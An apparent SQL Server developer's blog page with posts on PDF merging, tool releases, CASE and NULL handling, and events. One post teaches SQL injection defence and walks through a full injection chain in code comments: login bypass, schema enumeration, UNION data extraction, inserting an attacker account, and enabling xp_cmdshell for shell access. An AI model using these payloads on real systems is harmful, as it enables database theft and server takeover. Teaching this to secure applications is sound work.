I want some Moore

Blog about stuff and things and stuff. Mostly about SQL server and .Net
posts - 218, comments - 2281, trackbacks - 33

My Links

Advertisement

News

Hi! My name is 
Mladen Prajdić  I'm from Slovenia and I'm currently working as a .Net (C#) and SQL Server developer.

I also speak at local user group meetings and conferences like SQLBits and NT Conference
Welcome to my blog.
SQL Server MVP

My Books

SQL Server MVP Deep Dives 2
The Red Gate Guide to SQL Server Team based Development Free e-book

My Blog Feed via Email
Follow MladenPrajdic on Twitter


Users Online: who's online

Article Categories

Archives

Post Categories

Cool software

Other Blogs

Other stuff

SQL stuff

Friday, January 10, 2014

Simple Merging Of PDF Documents with iTextSharp 5.4.5.0

As we were working on our first SQL Saturday in Slovenia, we came to a point when we had to print out the so-called SpeedPASS's for attendees. This SpeedPASS file is a PDF and contains thier raffle, lunch and admission tickets.

The problem is we have to download one PDF per attendee and print that out. And printing more than 10 docs at once is a pain. So I decided to make a little console app that would merge multiple PDF files into a single file that would be much easier to print. I used an open source PDF manipulation library called iTextSharp version 5.4.5.0

This is a console program I used. It’s brilliantly named MergeSpeedPASS. It only has two methods and is really short. Don't let the name fool you It can be used to merge any PDF files.

The first parameter is the name of the target PDF file that will be created.
The second parameter is the directory containing PDF files to be merged into a single file.

using iTextSharp.text;
using iTextSharp.text.pdf;
using System;
using System.IO;

namespace MergeSpeedPASS
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 0 || args[0] == "-h" || args[0] == "/h")
            {
                Console.WriteLine("Welcome to MergeSpeedPASS. Created by Mladen Prajdic. Uses iTextSharp 5.4.5.0.");
                Console.WriteLine("Tool to create a single SpeedPASS PDF from all downloaded generated PDFs.");
                Console.WriteLine("");
                Console.WriteLine("Example: MergeSpeedPASS.exe targetFileName sourceDir");
                Console.WriteLine("         targetFileName = name of the new merged PDF file. Must include .pdf extension.");
                Console.WriteLine("         sourceDir      = path to the dir containing downloaded attendee SpeedPASS PDFs");
                Console.WriteLine("");
                Console.WriteLine(@"Example: MergeSpeedPASS.exe MergedSpeedPASS.pdf d:\Downloads\SQLSaturdaySpeedPASSFiles");
            }
            else if (args.Length == 2)
                CreateMergedPDF(args[0], args[1]);

            Console.WriteLine("");
            Console.WriteLine("Press any key to exit...");
            Console.Read();
        }

        static void CreateMergedPDF(string targetPDF, string sourceDir)
        {
            using (FileStream stream = new FileStream(targetPDF, FileMode.Create))
            {
                Document pdfDoc = new Document(PageSize.A4);
                PdfCopy pdf = new PdfCopy(pdfDoc, stream);
                pdfDoc.Open();                
                var files = Directory.GetFiles(sourceDir);
                Console.WriteLine("Merging files count: " + files.Length);
                int i = 1;
                foreach (string file in files)
                {
                    Console.WriteLine(i + ". Adding: " + file);
                    pdf.AddDocument(new PdfReader(file));
                    i++;
                }

                if (pdfDoc != null)
                    pdfDoc.Close();

                Console.WriteLine("SpeedPASS PDF merge complete.");
            }
        }
    }
}


Hope it helps you and have fun.

posted @ Friday, January 10, 2014 7:38 PM | Feedback (1) | Filed Under [ .Net SQL Server ]

Tuesday, July 02, 2013

SSMS Tools Pack 2.7 is released. New website, improved licensing and features.

New website
Nice, isn't it? Cleaner, simpler, better looking and more modern.
If you have any suggestions for further improvements I'd be glad to hear them.

Simpler licensing
With SSMS tools Pack 2.7 the licensing is finally where it should be.
It is now based on the activate/deactivate model.
This way you can move a license from machine to machine with simple deactivation on one and
reactivation on another machine. Much better, no?
Because of very good feedback I have added an option for 6 machines and lowered the 4 machines option to 3 machines.
This should make it much simpler for you to choose the right option for yourself.

Improved features
Version 2.5.3 was already extremely stable and 2.7 continues with that tradition.
Because of that I could fully focus on features and why 3.0 will rock even more that 2.7! ;)
In version 2.7 I have addressed quite a few improvements you were requesting for a while now.

SQL History
This is probably the biggest time saver out there, therefore it's only fair it gets a few important updates.
  • If you have an existing .sql file opened, the Window Content History now saves your code
    to that existing file and also makes a backup in the SQL History log default location.
    Search is still done through the SQL History log but the Tab Sessions Restore opens your existing .sql file.
    This way you don't have to remember to save your existing files by yourself anymore.
  • A bug when you couldn't search properly if you copied the log files to a new location was fixed.
    Unfortunately this removed the option to filter a search with the time component.
    The smallest search interval is now one day.
  • The SSMS Tools Pack now remembers the visibility of the Current Window History window when you exit SSMS.

SQL Snippets
You can now set the position of the cursor in your snippets by placing {C} somewhere in your snippet.
It's a small improvement but can be a huge time saver since you don't have to move through
the snippet to the desired location anymore.

Run script on multiple databases
Database choices can now be saved with a name and then loaded again next time.
You can also choose to run the script in a new window for each chosen database.

Search through grid results
You can now go previous/next search result with the Prev/Next control inside the search window.
This is extremely useful if you have a large resultset. IT saves you the scrolling.

CRUD generator
Four new variables have been added:
  • |CurrentDate| writes current date in format yyyy-MM-dd to your script
  • |CurrentTime| writes current time in 24h format HH:mm:ss to your script
  • |CurrentWinUser| writes current Windows logged on user to your script
  • |CurrentSqlUser| writes current SQL logged on login to your script
This was actually quite a requested feature so if you have any other ideas for extra variables, do let me know.

That's about it. I hope you're going to enjoy this version as much as the previous ones.
Have fun!

posted @ Tuesday, July 02, 2013 4:52 PM | Feedback (3) |

Monday, March 18, 2013

SQL Server: Writing CASE expressions properly when NULLs are involved

We’ve all written a CASE expression (yes, it’s an expression and not a statement) or two every now and then. But did you know there are actually 2 formats you can write the CASE expression in? This actually bit me when I was trying to add some new functionality to an old stored procedure. In some rare cases the stored procedure just didn’t work correctly. After a quick look it turned out to be a CASE expression problem when dealing with NULLS.

In the first format we make simple “equals to” comparisons to a value:

SELECT CASE <value>
WHEN <equals this value> THEN <return this>

WHEN <equals this value> THEN <return this>
-- ... more WHEN's here
ELSE <return this>
END


Second format is much more flexible since it allows for complex conditions. USE THIS ONE!

SELECT  CASE
WHEN <value> <compared to> <value> THEN <return this>
WHEN <value> <compared to> <value> THEN <return this>
-- ... more WHEN's here
ELSE <return this>
END

Now that we know both formats and you know which to use (the second one if that hasn’t been clear enough) here’s an example how the first format WILL make your evaluation logic WRONG.

Run the following code for different values of @i. Just comment out any 2 out of 3 “SELECT @i =” statements.

DECLARE @i INT
SELECT  @i = -1 -- first result
SELECT  @i = 55 -- second result
SELECT  @i = NULL -- third result



SELECT @i AS OriginalValue,

-- first CASE format. DON'T USE THIS!
CASE @i
WHEN -1 THEN '-1'
WHEN NULL THEN 'We have a NULL!'
ELSE 'We landed in ELSE'
END AS DontUseThisCaseFormatValue,

-- second CASE format. USE THIS!
CASE
WHEN @i = -1 THEN '-1'
WHEN @i IS NULL THEN 'We have a NULL!'
ELSE 'We landed in ELSE'
END AS UseThisCaseFormatValue


When the value of @i is –1 everything works as expected, since both formats go into the –1 WHEN branch.

CaseResult1

When the value of @i is 55 everything again works as expected, since both formats go into the ELSE branch.

CaseResult2

When the value of @i is NULL the problems become evident. The first format doesn’t go into the WHEN NULL branch because it makes an equality comparison between two NULLs.
Because a NULL is an unknown value: NULL = NULL is false. That is why the first format goes into the ELSE Branch but the second format correctly handles the proper IS NULL comparison.

CaseResult3

 

Please use the second more explicit format. Your future self will be very grateful to you when he doesn’t have to discover these kinds of bugs.

posted @ Monday, March 18, 2013 9:55 PM | Feedback (7) | Filed Under [ SQL Server Back to Basics ]

Wednesday, February 13, 2013

Few events I’m speaking at in early 2013

2013 has started great and the SQL community is already brimming with events. At some of these events you can come say hi. I’ll be glad you do!

These are the events with dates and locations that I know I’ll be speaking at so far.

 

February 16th: SQL Saturday #198 - Vancouver, Canada

The session I’ll present in Vancouver is

SQL Impossible: Restoring/Undeleting a table

Yes, you read the title right. No, it's not about the usual "one table per partition" and "restore full backup then copy the data over" methods. No, there are no 3rd party tools involved. Just you and your SQL Server. Yes, it's crazy. No, it's not for production purposes. And yes, that's why it's so much fun. Prepare to dive into the world of data pages, log records, deletes, truncates and backups and how it all works together to get your table back from the endless void. Want to know more? Come and see!

This is an advanced level session where we’ll dive into the internals of data pages, transaction log records and page restores.

 

March 8th-9th: SQL Saturday #194 - Exeter, UK

In Exeter I’ll be presenting twice.

On the first day I’ll have a full day precon titled:

From SQL Traces to Extended Events - The next big switch

This pre-con will give you insight into both of the current tracing technologies in SQL Server. The old SQL Trace which has served us well over the past 10 or so years is on its way out because the overhead and details it produces are no longer enough to deal with today's loads. The new Extended Events are a new lightweight tracing mechanism built directly into the SQLOS thus giving us information SQL Trace just couldn't. They were designed and built with performance in mind and it shows. The new Extended Events are a new lightweight tracing mechanism built directly into the SQLOS thus giving us information SQL Trace just couldn't. They were designed and built with performance in mind and it shows. Mastering Extended Events requires learning at least one new skill: XML querying.

The second session I’ll have on Saturday titled:

SQL Injection from website to SQL Server

SQL Injection is still one of the biggest reasons various websites and applications get hacked. The solution as everyone tells us is simple. Use SQL parameters. But is that enough? In this session we'll look at how would an attacker go about using SQL Injection to gain access to your database, see its schema and data, take over the server, upload files and do various other mischief on your domain.

This is a fun session that always brings out a few laughs in the audience because they didn’t realize what can be done.

 

April 23rd-25th: NTK conference - Bled, Slovenia (Slovenian website only)

This is a conference with history. This year marks its 18th year running.

It’s a relatively large IT conference that focuses on various Microsoft technologies like .Net, Azure, SQL Server, Exchange, Security, etc…

The main session’s language is Slovenian but this is slowly changing so it’s becoming more interesting for foreign attendees. This year it’s happening in the beautiful town of Bled in the Alps. The scenery alone is worth the visit, wouldn’t you agree?

And this year there are quite a few well known speakers present!

Session title isn’t known yet.

 

 

 

May 2nd-4th: SQL Bits XI – Nottingham, UK

SQL Bits is the largest SQL Server conference in Europe. It’s a 3 day conference with top speakers and content all dedicated to SQL Server.

The session I’ll present here is an hour long version of the precon I’ll give in Exeter.

From SQL Traces to Extended Events - The next big switch

The session description is the same as for the Exeter precon but we'll focus more on how the Extended Events work with only a brief overview of old SQL Trace architecture.

posted @ Wednesday, February 13, 2013 1:34 AM | Feedback (0) | Filed Under [ .Net SQL Server ]

Friday, December 14, 2012

SSMS Tools Pack 2.5.3 is out with bug fixes and improved licensing

Licensing for SSMS Tools Pack 2.5 has been quite a hit and I received some awesome feedback.
The version 2.5.3 contains a few bug fixes and desired licensing improvements.
Changes include more licensing options, prices in Euros because of book keeping reasons (don't you just love those :))
and generally easier purchase and licensing process for users.

Licensing now offers four options:

Per machine license. (€25)
Perfect if you do all your work from a single machine.
Plus one OS reinstall activation.

Personal license (€75)
Up to 4 machine activations.
Plus 2 OS reinstall activations and
any number of virtual machine activations.

Team license (€240)
Up to 10 machine activations.
Plus 4 OS reinstall activations and
any number of virtual machine activations.

Enterprise license (€350+)
For more than 10 machine activations
any number of virtual machine activations.

30 days license.
Time based demo license bound to a machine.

You can view all the details on the Licensing page .

If you want to receive email notifications when new version of SSMS Tools Pack is out you can do that on the Main page or on the Download page .

Version 2.7 is expected in the first half of February and won't support SSMS 2005 and 2005 Express anymore.

Enjoy it!

posted @ Friday, December 14, 2012 1:42 PM | Feedback (0) |

Monday, September 17, 2012

SSMS Tools Pack 2.5 is out. Added support for SQL Server 2012.

Because I wanted to make SSMS Tools Pack as solid as possible for SSMS 2012 there are no new features only bug fixes and speed improvements.

I am planning new awesome features for the next version so be on the lookout.

The biggest change is that SSMS Tools Pack for SSMS 2012 is no longer free. For previous SSMS versions it is still free.

Licensing now offers following options:

Per machine license. ($29.99)
Perfect if you do all your work from a single machine.
This license is valid per major release of SSMS Tools Pack
(e.g. v2.x, v3.x, v4.x).

Fully transferable license valid for 3 months. ($99.99)
Perfect for work across many machines.
It's not bound to a machine or an SSMS Tools Pack version.

30 days license.
Time based demo license bound to a machine.

You can view all the details on the Licensing page.

If you want to receive email notifications when new version of SSMS Tools Pack is out you can do that on the Main page or on the Download page.

This is also the last version to support SSMS 2005 and 2005 Express.

Enjoy it!

posted @ Monday, September 17, 2012 9:57 PM | Feedback (3) |

Thursday, December 01, 2011

SSMS Tools Pack 2.1.0 is out. Added support for SQL Server 2012 RC0.

This version adds support for SQL Server 2012 RC0 and fixes a few bugs with SQL History.

Because of the support for regions in SSMS 2012 the regions and debug sections feature has been removed from SSMS Tools Pack for SQL Server 2012.

The feature is still available for previous SSMS versions.

In other news SSMS Tools Pack has won the SQL Magazine bronze award for best free tool of 2011. You can view all the details at the SQL Server Magazine Award page.

Thanx to all the people who voted for it. I'm glad you all like it and use it with great success.

Also I've added a possibility for you to subscribe to email notifications in case the auto-updater doesn't work for you for some reason like being behind a proxy.

Enjoy it!

posted @ Thursday, December 01, 2011 8:34 PM | Feedback (0) | Filed Under [ SQL Server SSMS Tools Pack ]

Friday, October 07, 2011

SQL Server MVP Deep Dives 2. The Awesome Returns.

Two years ago 59 SQL Server MVP's came together and helped make one of the best book on SQL Server out there. Each chapter was written by an MVP about a part of SQL Server they loved working with. This resulted in superb quality content and excellent ratings from the readers. To top it off all earnings went to a good cause, the War Child International organization. That book was SQL Server MVP Deep Dives.

This year 63 SQL Server MVPs, me included, decided it was time do repeat the success of the first book.

Let me introduce you the:

SQL Server MVP Deep Dives 2

MVPDeepDives2Small

The topics in 60 chapters are grouped in 5 groups: Architecture, Database Administration, Database Development, Performance Tuning and Optimization, Business Intelligence. They represent over 1000 years of daily experience in various areas of SQL Server. I have contributed chapter 28 in Database Development group titled Getting asynchronous with Service Broker. In it I show you the Service Broker template you can use for secure communication between two or more SQL server instances for whatever purpose you may have. If you haven't heard of Service Broker it's a part of the database engine that enables you to do completely async operations in the database itself or between databases and instances.

The official release of the book will be next week at PASS where there will be 2 slots where most of the authors will be there signing the books you bring. This is also a great opportunity to meet everyone and ask about any problems you may have. So definitely come say hi.

Again we decided on a charity that will be supported by this book. It's called Operation Smile. They provide free surgeries to repair cleft lip, cleft palate and other facial deformities for children around the globe. You can also help them by donating.

You can preorder it on at Manning Publications website or on Amazon. By having it you not only get to learn a lot, improve your skills and have fun but you also help a child have a normal life. If that's not a good cause then I don't know what it is.

posted @ Friday, October 07, 2011 7:26 PM | Feedback (0) | Filed Under [ SQL Server Reviews Back to Basics ]

Wednesday, September 21, 2011

SSMS Tools Pack 2.0 is out! With huge productivity booster features that will blow your mind and ease your job even more.

What better way to end the summer and start those productive autumn days ahead than with a fresh new version of the SSMS Tools Pack.

This is a big release with two new features that are huge productivity boosters.

First new feature are Tab Sessions. Every SQL tab you open is saved every N (default 2) minutes and is stored in a session. This works similar to internet browser sessions. Once you reopen SSMS you can restores your last session with a click of a button. You even get every window connected to the server it was previously connected to. The Tab History Window looks like this:

TSH

 

The second feature is Execution Plan Analyzer. It is designed to quickly help you find costliest operators by a number of properties. If that's not enough you can easily search through the whole execution plan for whatever you like.
And to top it off you can auto analyze the execution plan. The analysis reports various problems the execution plan has and suggests a most common solution. The ultimate purpose of the Execution Plan Analyzer is to make your troubleshooting quicker and easier. It uses a simple user interface that is easy to navigate and is built directly into the execution plan itself. The execution plan analyzer looks like this:

SQLEPA

 

Smaller fixes include a completely redesigned SQL History Search window and various other bug fixes.

You can download the new version 2.0 at the Download page.

For more detailed feature descriptions go to the main Features Page.

Enjoy it!

posted @ Wednesday, September 21, 2011 6:24 PM | Feedback (5) | Filed Under [ .Net SQL Server SSMS Tools Pack ]

Friday, July 01, 2011

Yep, I’m a SQL Server MVP for one more year

My MVP rotation came up today and I'm happy to say that I've been renewed for one more year as a SQL Server MVP. Hm…. looks like I'll have to start blogging some more. :)

posted @ Friday, July 01, 2011 6:06 PM | Feedback (3) | Filed Under [ SQL Server ]

Monday, March 28, 2011

Two free SQL Server events I'll be presenting at in UK. Come and say hi!

SQLBitsLogo

SQLBits: April 7th - April 9th 2011 in Brighton, UK

Free community event on Saturday (April 9th) with a paid conference day on Friday (April 8th) and a Pre Conference day full of day long seminars (April 7th).

It'll be a huge event with over 800 attendees and over 20 MVPs. I'll be presenting on Saturday April 9th.

 

 

SqlInTheCityLogo

SQL in the City: July 15th 2011 in London, UK

One day of free SQL Server training sponsored by Redgate. Other MVP's that'll be presenting there are Steve Jones (website|twitter), Brad McGehee (blog|twitter) and Grant Fritchey (blog|twitter)

 

At both conferences I'll be presenting about database testing.

In the sessions I'll cover a few things from my book The Red Gate Guide to SQL Server Team based Development like what do we need for testing, how to go about it, what are some of the obstacles we have to overcome, etc…

If you're around there come and say Hi!

posted @ Monday, March 28, 2011 7:40 AM | Feedback (1) | Filed Under [ .Net SQL Server ]

Wednesday, February 16, 2011

SQL Server SQL Injection from start to end

SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage.

A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text.

SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences.

The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user.

Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability.

1) Concatenating SQL statements on the client by hand

2) Using parameterized stored procedures but passing in parts of SQL statements

As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem.

Concatenating SQL statements on the client

This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL.

In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens.

/* SQL CODE */
/* Users table holds usernames and passwords and is the object of out hacking attempt */
CREATE TABLE Users
(
UserId INT IDENTITY(1, 1) PRIMARY KEY ,
UserName VARCHAR(50) ,
UserPassword NVARCHAR(10)
)

/* Insert 2 users */
INSERT INTO Users(UserName, UserPassword)
SELECT 'User 1', 'MyPwd' UNION ALL
SELECT 'User 2', 'BlaBla'

Vulnerable C# code, followed by a progressive SQL injection attack.

/* .NET C# CODE */
/*
This method checks if a user exists.
It uses SQL concatination on the client,
which is susceptible to SQL injection attacks
*/
private bool DoesUserExist(string username, string password)
{
using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;"))
{
/*
This is the SQL string you usually see with
novice developers. It returns a row if a
user exists and no rows if it doesn't
*/
string sql = "SELECT * FROM Users WHERE UserName = '" + username +
"' AND UserPassword = '" + password + "'";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
cmd.Connection.Open();
DataSet dsResult = new DataSet();
/*
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
*/
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists != "0";
}
}
}

/*
The SQL injection attack example.
Username inputs should be run one after
the other, to demonstrate the attack pattern.
*/
string username = "User 1";
string password = "MyPwd";
// See if we can even use SQL injection.
// By simply using this we can log into the application
username = "' OR 1=1 --";
// What follows is a step-by-step guessing game designed
// to find out column names used in the query, via the
// error messages. By using GROUP BY we will get
// the column names one by one.
// First try the Id
username = "' GROUP BY Id HAVING 1=1--";
// We get the SQL error: Invalid column name 'Id'.
// From that we know that there's no column named Id.
// Next up is UserID
username = "' GROUP BY Users.UserId HAVING 1=1--";
// AHA! here we get the error: Column 'Users.UserName' is
// invalid in the SELECT list because it is not contained
// in either an aggregate function or the GROUP BY clause.
// We have guessed correctly that there is a column called
// UserId and the error message has kindly informed us of
// a table called Users with a column called UserName
// Now we add UserName to our GROUP BY
username = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";
// We get the same error as before but with a new column
// name, Users.UserPassword
// Repeat this pattern till we have all column names that
// are being return by the query.
// Now we have to get the column data types. One non-string
// data type is all we need to wreck havoc
// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.
// This can be done because we know the number of columns the query returns FROM our previous hacks.
// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.
username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";
// SUM() errors out for UserName and UserPassword columns giving us their data types:
// Error: Operand data type varchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserName) FROM Users--";
// Error: Operand data type nvarchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";
// Because we know the Users table structure we can insert our data into it
username = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";
// Next let's get the actual data FROM the tables.
// There are 2 ways you can do this.
// The first is by using MIN on the varchar UserName column and
// getting the data from error messages one by one like this:
username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";
username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";
// we can repeat this method until we get all data one by one
// The second method gives us all data at once and we can use it as soon as we find a non string column
username = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";
// The error we get is:
// Conversion failed when converting the nvarchar value
// '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>
// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>
// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>'
// to data type int.
// We can see that the returned XML contains all table data including our injected user account.
// By using the XML trick we can get any database or server info we wish as long as we have access
// Some examples:
// Get info for all databases
username = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";
// Get info for all tables in master database
username = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";
// If that's not enough here's a way the attacker can gain shell access to your underlying windows server
// This can be done by enabling and using the xp_cmdshell stored procedure
// Enable xp_cmdshell
username = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
// Create a table to store the values returned by xp_cmdshell
username = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";
// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table
username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";
// return the data via an error message
username = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";
// delete the table to get clean output (this step is optional)
username = "'; DELETE ShellHack; --";
// repeat the upper 3 statements to do other nasty stuff to the windows server
// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error
// To avoid this chunk up the returned XML using paging techniques.
// the username and password params come from the GUI textboxes.
bool userExists = DoesUserExist(username, password );

Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example.

/* 
The fixed C# method that doesn't suffer from SQL injection
because it uses parameters.
*/
private bool DoesUserExist(string username, string password)
{
using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;"))
{
//This is the version of the SQL string that should be safe from SQL injection
string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;

// adding 2 SQL Parameters solves the SQL injection issue completely
SqlParameter usernameParameter = new SqlParameter();
usernameParameter.ParameterName = "@username";
usernameParameter.DbType = DbType.String;
usernameParameter.Value = username;
cmd.Parameters.Add(usernameParameter);

SqlParameter passwordParameter = new SqlParameter();
passwordParameter.ParameterName = "@password";
passwordParameter.DbType = DbType.String;
passwordParameter.Value = password;
cmd.Parameters.Add(passwordParameter);

cmd.Connection.Open();
DataSet dsResult = new DataSet();
/*
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
*/
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists == "1";
}
}

We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place.

Your business is only as valuable as your data. If you lose your data, you lose your business. Period.

Incorrect parameterization in stored procedures

It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else.

This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup.

/*
Create a single master access stored procedure
*/
CREATE PROCEDURE spSingleAccessSproc
(
@select NVARCHAR(500) = '' ,
@tableName NVARCHAR(500) = '' ,
@where NVARCHAR(500) = '1=1' ,
@orderBy NVARCHAR(500) = '1'
)
AS
EXEC('SELECT ' + @select +
' FROM ' + @tableName +
' WHERE ' + @where +
' ORDER BY ' + @orderBy)
GO

/*
Valid use as anticipated by a novice developer
*/
EXEC spSingleAccessSproc @select = '*',
@tableName = 'Users',
@where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = 'UserID'
/*
Malicious use SQL injection
The SQL injection principles are the same as
with SQL string concatenation I described earlier,
so I won't repeat them again here.
*/
EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --',
@tableName = '--Users',
@where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = '--UserID'

One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one.

Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

posted @ Wednesday, February 16, 2011 7:00 AM | Feedback (2) | Filed Under [ .Net SQL Server Back to Basics ]

Tuesday, December 28, 2010

SSMS Tools Pack 1.9.4 is out! Now with SQL Server 2011 (Denali) CTP1 support.

To end the year on a good note this release adds support for SQL Server 2011 (Denali) CTP1 and fixes a few bugs.

Because of the new SSMS shell in SQL 2011 CTP1 the SSMS Tools Pack 1.9.4 doesn't have regions and debug sections functionality for now.

The fixed bugs are:

  • A bug that prevented to create insert statements for a database
  • A bug that didn't script commas as decimal points correctly for non US settings.
  • A bug with searching through grid results.
  • A threading bug that sometimes happened when saving Window Content History.
  • A bug with Window Connection Coloring throwing an error on startup if a server colors was undefined.
  • A bug with changing shortcuts in SSMS for various features.

You can download the new version 1.9.4 here.

Enjoy it!

posted @ Tuesday, December 28, 2010 9:00 AM | Feedback (1) | Filed Under [ SSMS Tools Pack ]

Tuesday, November 23, 2010

The Red Gate Guide to SQL Server Team based Development Free e-book

RG_Book_CoverAfter about 6 months of work, the new book I've coauthored with Grant Fritchey (Blog|Twitter), Phil Factor (Blog|Twitter) and Alex Kuznetsov (Blog|Twitter) is out. They're all smart folks I talk to online and this book is packed with good ideas backed by years of experience.

The book contains a good deal of information about things you need to think of when doing any kind of multi person database development. Although it's meant for SQL Server, the principles can be applied to any database platform out there. In the book you will find information on: writing readable code, documenting code, source control and change management, deploying code between environments, unit testing, reusing code, searching and refactoring your code base. I've written chapter 5 about Database testing and chapter 11 about SQL Refactoring.

In the database testing chapter (chapter 5) I cover why you should test your database, why it is a good idea to have a database access interface composed of stored procedures, views and user defined functions, what and how to test. I talk about how there are many testing methods like black and white box testing, unit and integration testing, error and stress testing and why and how you should do all those. Sometimes you have to convince management to go for testing in the development lifecycle so I give some pointers and tips how to do that. Testing databases is a bit different from testing object oriented code in a way that to have independent unit tests you need to rollback your code after each test. The chapter shows you ways to do this and also how to avoid it. At the end I show how to test various database objects and how to test access to them.

In the SQL Refactoring chapter (chapter 11) I cover why refactor and where to even begin refactoring. I also who you a way to achieve a set based mindset to solve SQL problems which is crucial to good SQL set based programming and a few commonly seen problems to refactor. These problems include: using functions on columns in the where clause, SELECT * problems, long stored procedure with many input parameters, one subquery per condition in the select statement, cursors are good for anything problem, using too large data types everywhere and using your data in code for business logic anti-pattern.

You can read more about it and download it here: The Red Gate Guide to SQL Server Team-based Development

Hope you like it and send me feedback if you wish too.

posted @ Tuesday, November 23, 2010 8:00 AM | Feedback (3) | Filed Under [ Reviews ]

Tuesday, November 09, 2010

SSMS Tools Pack 1.9.3 is out!

This release adds a great new feature and fixes a few bugs.

The new feature called Window Content History saves the whole text in all all opened SQL windows every N minutes with the default being 30 minutes. This feature fixes the shortcoming of the Query Execution History which is saved only when the query is run. If you're working on a large script and never execute it, the existing Query Execution History wouldn't save it. By contrast the Window Content History saves everything in a .sql file so you can even open it in your SSMS. The Query Execution History and Window Content History files are correlated by the same directory and file name so when you search through the Query Execution History you get to see the whole saved Window Content History for that query. Because Window Content History saves data in simple searchable .sql files there isn't a special search editor built in. It is turned ON by default but despite the built in optimizations for space minimization, be careful to not let it fill your disk. You can see how it looks in the pictures in the feature list.

The fixed bugs are:

  • SSMS 2008 R2 slowness reported by few people.
  • An object explorer context menu bug where it showed multiple SSMS Tools entries and showed wrong entries for a node.
  • A datagrid bug in SQL snippets.
  • Ability to read illegal XML characters from log files.
  • Fixed the upper limit bug of a saved history text to 5 MB.
  • A bug when searching through result sets prevents search.
  • A bug with Text formatting erroring out for certain scripts.
  • A bug with finding servers where it would return null even though servers existed.
